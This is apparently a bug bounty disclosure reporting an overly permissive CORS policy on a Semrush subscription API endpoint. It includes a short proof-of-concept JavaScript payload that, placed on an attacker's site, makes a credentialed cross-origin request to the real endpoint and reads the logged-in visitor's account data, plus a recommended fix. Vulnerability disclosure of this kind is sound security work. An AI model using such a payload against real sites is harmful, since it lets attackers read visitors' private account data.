How it was found

INTRODUCTION

I used an account to search for this vulnerability:

id: 5407773 email: [email protected]

IP used:

2a01:e34:ec2a:9240:7d25:26c3:1449:bfe7

endpoint URL:

https://www.semrush.com/content-paywall/api/accesslevel

Summary:

CORS policy too permissive.

EXPLOITATION

Description of Security Issue:

When we navigate on semrush we are led to make a request like this: █████ This request returns a JSON response with 4 elements (about Subscription):

• product_group : ex: FREE , GUEST , ....

• used_trial : If the user has used his trial period. ex: false , true , null (if he's a guest)

• is_custom : I didn't understand this element.

• upgraded : I think that says if the user has upgraded their account.

The problem is in the fact that when you send an origin that is not controlled by semrush the server still allows you to send cross-origin query.

Steps needed to reproduce bug:

• Put this payload on your website:

var invocation = new XMLHttpRequest();

  invocation.onreadystatechange = function() {
    if (invocation.readyState == XMLHttpRequest.DONE) {
      alert(invocation.response);
    }
  }

function cors(){
  if(invocation) {
    invocation.open('GET', "https://www.semrush.com/content-paywall/api/accesslevel", true);
    invocation.withCredentials = true;
    invocation.send(); 
  }
}

cors();

• Connect you on semrush and visit the evil website

• Congratulations your website has stolen some of your data!

FIX THE BUG

Stop setting Access-Control-Allow-Origin: .... and Access-Control-Allow-Credentials: true when the origin is not known.

Thank you and I remain at your disposal if necessary Have a nice evening :)

Impact

This allows all sites to access certain data about visitors who have semrush.